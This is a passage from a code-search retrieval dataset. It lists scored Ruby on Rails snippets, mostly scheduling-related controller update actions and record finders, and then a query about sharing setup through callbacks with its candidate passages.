"docid": "ee59cb6a5ff0e564f80ffeb1e1faf396", "score": "0.6436102", "text": "def update\n respond_to do |format|\n if @scheduled_event.update(scheduled_event_params)\n format.html { redirect_to @scheduled_event, notice: 'Scheduled event was successfully updated.' }\n format.json { render :show, status: :ok, location: @scheduled_event }\n else\n format.html { render :edit }\n format.json { render json: @scheduled_event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "406af3136ba697d562611d3214d7c1d7", "score": "0.64360785", "text": "def update\n respond_to do |format|\n if @work_order_schedule.update(work_order_schedule_params)\n format.html { redirect_to @work_order_schedule, notice: 'Work order schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_order_schedule }\n else\n format.html { render :edit }\n format.json { render json: @work_order_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a2a0061961c51fc8e4bacd5d6aaa861", "score": "0.6415811", "text": "def update\n respond_to do |format|\n if @professor_schedule.update(professor_schedule_params)\n format.html { redirect_to @professor_schedule, notice: 'Professor schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @professor_schedule }\n else\n format.html { render :edit }\n format.json { render json: @professor_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65e941455499c3fb82a744419ebffead", "score": "0.641215", "text": "def update\n respond_to do |format|\n if @interviewscheduler.update(interviewscheduler_params)\n format.html { redirect_to @interviewscheduler, notice: 'Interviewscheduler was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @interviewscheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5d838839285172ea81a06e9d3229ce0", "score": "0.63983464", "text": "def update\n @patient = Patient.find(params[:patient_id])\n @schedule = @patient.schedules.find(params[:id])\n @pill_times = @schedule.pill_times\n\n # TODO can improve it to use nested attributes\n if params[:pill_time]\n params[:pill_time].each_with_index do |pill_time, idx|\n if @pill_times[idx]\n @pill_times[idx].update_attributes(pill_time)\n else\n @pill_times.create(pill_time)\n end\n end\n end\n\n # remove unused pill times\n if params[:pill_time]\n diff = @pill_times.size - params[:pill_time].size\n @pill_times.destroy(@pill_times.last(diff)) if diff > 0\n end\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to [@patient, @schedule],\n notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors,\n status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4ac054ffc440cdcf6e1f836de0ac3cc", "score": "0.6394123", "text": "def update\n respond_to do |format|\n if @class_schedule.update(class_schedule_params)\n format.html { redirect_to class_schedules_path, notice: 'Розклад занять був успішно оновлений.' }\n format.json { render :index, status: :ok, location: @class_schedule }\n else\n format.html { render :edit }\n format.json { render json: @class_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ecf80c2f358fcdf73703d9cf3624403", "score": "0.6372563", "text": "def update\n @ptschedule = Ptschedule.find(params[:id])\n\n respond_to do |format|\n if @ptschedule.update_attributes(params[:ptschedule])\n flash[:notice] = t('ptschedule.title')+\" \"+t('updated')\n format.html { redirect_to(@ptschedule) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ptschedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5faf4ab2c52aeb2f276e037a918182ed", "score": "0.6372545", "text": "def update\n respond_to do |format|\n if @schedule_tournament.update(schedule_tournament_params)\n format.html { redirect_to @schedule_tournament, notice: 'Schedule tournament was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule_tournament }\n else\n format.html { render :edit }\n format.json { render json: @schedule_tournament.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c2e0bcaeb4840f739cd620ac1feb12b4", "score": "0.6352917", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n #format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n #format.json { render :show, status: :ok, location: @schedule }\n\t\t\n\t\tformat.html {redirect_to schedule_path(@schedule, :construction_id => params[:construction_id], \n :move_flag => params[:move_flag])}\n\t\t \n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3c833e664fe323c7205cf3b52192d79", "score": "0.6336718", "text": "def update\n @schedules_history = SchedulesHistory.find(params[:id])\n\n respond_to do |format|\n if @schedules_history.update_attributes(params[:schedules_history])\n format.html { redirect_to @schedules_history, notice: 'Schedules history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedules_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89295e802bf3346a983e485131d24aeb", "score": "0.63244116", "text": "def update\n respond_to do |format|\n if @admin_cron_request.update(admin_cron_request_params)\n format.html { redirect_to @admin_cron_request, notice: I18n.t('admin.cron_requests.update.message.success') }\n format.json { render :show, status: :ok, location: @admin_cron_request }\n else\n format.html { render :edit }\n format.json { render json: @admin_cron_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5ba55c4685aeac072479460dec215ac2", "score": "0.63149416", "text": "def update\n @scheduled_service = ScheduledService.find(params[:id])\n\n respond_to do |format|\n if @scheduled_service.update_attributes(params.require(:scheduled_service).permit(:mileage, :sdate, :service_schedule_id))\n format.html { redirect_to scheduled_services_url,\n notice: 'ScheduledService was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scheduled_service.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d30fd1c7ac53cca6708b086adb155802", "score": "0.6311606", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "d30fd1c7ac53cca6708b086adb155802", "score": "0.6311606", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "d30fd1c7ac53cca6708b086adb155802", "score": "0.6311606", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "d30fd1c7ac53cca6708b086adb155802", "score": "0.6311606", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "d30fd1c7ac53cca6708b086adb155802", "score": "0.6311606", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "b02f235247c538588e5282f3d37584a8", "score": "0.6310117", "text": "def update\n respond_to do |format|\n if @inspection_schedule.update(inspection_schedule_savable_params)\n format.html { redirect_to @inspection_schedule, notice: 'InspectionSchedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @inspection_schedule }\n else\n format.html { render :edit }\n format.json { render json: @inspection_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27cb7a1db80674fbe2339c44aa01ffcd", "score": "0.62935376", "text": "def update\n @schedule = Schedule.find(params[:id])\n \n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n\t expire_page :action => 'show', :id => params[:id]\n flash[:notice] = 'Schedule was successfully updated.'\n format.html { redirect_to(@schedule) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd59aa741aceb665adee5161e845b1eb", "score": "0.6277325", "text": "def update\n respond_to do |format|\n if @job_scheduler.update(job_scheduler_params)\n format.html { redirect_to @job_scheduler, notice: 'Job scheduler was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_scheduler }\n else\n format.html { render :edit }\n format.json { render json: @job_scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ecdaed1565e40408717932f7b75d7d4", "score": "0.6273893", "text": "def edit_schedule access_key, edit_details\n params = init_params\n params[:sc] = edit_details.to_json\n request_url = UrlGenerator.url_for(\"schedules\", \"#{access_key}/edit\")\n asgn = SignatureGenerator.signature_for(http_verb: 'POST', url: request_url, params: params)\n\n res = self.post(request_url, query: params.merge!({asgn: asgn}))\n if res[\"status\"] == \"SUCCESS\"\n return res\n else\n return error_response_for(res)\n end\n end", "title": "" }, { "docid": "02fc8376c4be3431ffdee4f0d506fa46", "score": "0.6272324", "text": "def update\n @maintenance_schedule = MaintenanceSchedule.find(params[:id])\n\n respond_to do |format|\n if @maintenance_schedule.update_attributes(params[:maintenance_schedule])\n format.html { redirect_to(@maintenance_schedule, :notice => 'Maintenance schedule was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @maintenance_schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c140f197b5e2782e3301e784bd309c6", "score": "0.6271633", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "8c140f197b5e2782e3301e784bd309c6", "score": "0.6271633", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "8c140f197b5e2782e3301e784bd309c6", "score": "0.6271633", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "8c140f197b5e2782e3301e784bd309c6", "score": "0.6271633", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "8c140f197b5e2782e3301e784bd309c6", "score": "0.6271633", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "8c140f197b5e2782e3301e784bd309c6", "score": "0.6271633", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "8c140f197b5e2782e3301e784bd309c6", "score": "0.6271633", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "8c140f197b5e2782e3301e784bd309c6", "score": "0.6271633", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "8c140f197b5e2782e3301e784bd309c6", "score": "0.6271633", "text": "def set_schedule\n @schedule = Schedule.find(params[:id])\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "4f0154cbc5c00a2eade49f2d71fd26e9", "score": "0.0", "text": "def set_state_public_sector2\n @state_public_sector2 = StatePublicSector2.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| 